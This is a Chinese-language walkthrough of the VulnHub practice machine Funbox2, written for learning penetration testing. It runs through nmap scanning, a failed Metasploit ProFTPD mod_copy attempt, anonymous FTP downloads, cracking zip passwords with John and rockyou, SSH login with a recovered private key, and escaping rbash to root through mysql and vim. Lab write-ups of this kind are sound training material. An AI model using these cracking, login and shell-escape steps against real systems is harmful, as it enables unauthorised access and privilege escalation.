打靶记录28——Funbox2
靶机:
https://www.vulnhub.com/entry/funbox-rookie,520/
下载(镜像):https://download.vulnhub.com/funbox/Funbox2.ova
难度:
- 低
目标:
- 获得 Root 权限
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- FTP 服务漏洞
- 密码爆破
- SSH 公钥认证
- rbash 逃逸
- 本地提权
主机发现
sudo arp-scan -l
扫描发现192.168.31.26 的靶机 IP
端口扫描和服务发现
sudo nmap -p- 192.168.31.26
全端口扫描发现开启了 21,22,80 这三个端口
sudo nmap -p21,22,80 -A 192.168.31.26
进行应用版本的发现
发现 FTP 服务开启了 Anonymous 匿名访问,里面有大量的 zip 格式的文件,从文件名可以看出可能是用户名称。
还有一个 welcome.msg 邮件
searchsploit ProFTPD 1.3.5
根据版本搜索一下漏洞库
FTP 服务漏洞
阅读代码发现是通过 FTP 的漏洞将 PHP 的 Webshell 的代码写入到 Web 服务的根路径里面,然后再通过浏览器或者是其他的命令行工具来触发这个 Webshell,实现命令执行
通过 FTP 的拷贝能力将恶意代码植入到 Web 根路径,生成一个 Webshell 的文件,然后再利用请求这个 Webshell 文件来执行操作系统的 cmd 命令
msfconsole
启动
msfconsole
是 Metasploit 框架的交互式命令行界面,而 Metasploit 是一款开源的、强大的渗透测试工具集,在网络安全领域应用广泛。
search proftpd 1.3.5
use 0
show options
info
set RHOSTS 192.168.31.26
set SITEPATH /var/www/html
show targets
show payloads
set payload /cmd/unix/generic
set CMD id
exploit
使用 msf 失败,可以是因为版本不对,目标是 1.3.5e 版本,多了个 e
也可能是目标靶机的管理员做了一些安全配置
也可能是靶机作者已经修补了该漏洞
努力了一大圈却还是失败,但是在真实渗透过程中是经常出现的,如果时间超过一个小时,就不要钻牛角尖了,把能做的都做了就行,至少排除了这个
FTP 匿名登录
ftp 192.168.31.26
使用 anonymous 账号,空密码登录,ls
查看文件
ls -la
发现还有两个隐藏文件,使用 mget *
都给它下载下来
get .@admins
和 get .@users
也下载下来
cd ../../
始终在 ftp 的根路径下,跳不出到操作系统上
-n
是echo
命令的一个选项,它的作用是在输出字符串时不添加换行符。这里使用-n
是为了确保输出的 Base64 编码字符串是一个连续的、没有额外换行干扰的字符串,以便后续的base64
命令能正确处理。
它说小心你的 key,它在用户名.zip 文件里面,那我们猜测可能是 SSH 的 key,如果能连上去,管理员应该是有 sudo 权限的,那我们就可以直接 su 成 root 账号了
解压的时候发现需要密码,而且里面的文件叫 id_rsa ,应该就是 SSH 的私钥了
使用 john 来破解压缩包密码,先 zip2john anna.zip > anna.hash
把压缩包转换一下,
john anna.hash --wordlist=/usr/share/wordlists/rockyou.txt
然后用 rockyou 这个比较大的字典来破解,因为前面有提示 The passwords are the old ones.
anna.zip 破解失败,最后只有 cathrine 和 tom 能破解出来,密码为 catwoman
和 iubire
SSH 公钥认证
ssh tom@192.168.31.26 -i id_rsa
解压后用私钥直接登录 tom 账号
cat .mysql_history
查看数据库的操作记录
发现疑似 tom 账号的密码 xx11yy22!
sudo -s
-s
:这是sudo
命令的一个选项,-s
表示启动一个新的 shell 会话,并且这个 shell 会话会以超级用户的身份运行。当你执行sudo -s
后,系统会提示你输入当前用户的密码(前提是你当前用户有使用sudo
的权限),验证通过后,会打开一个新的 shell 环境,在这个环境中你可以执行任何需要超级用户权限的操作,就像直接以root
用户身份登录一样。
但是想去到 /root 路径遇到了问题 ,提升 shell 的类型是 rbash
rbash
即受限的 Bash(Restricted Bash),它是 Bash shell 的一个受限版本
rbash 逃逸
sudo mysql -utom -pxx11yy22!
利用 mysql 来启动一个新的 shell
\! bash
即可
或者
- 在一些编辑器中可以设置shell变量然后执行,如vim中
vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell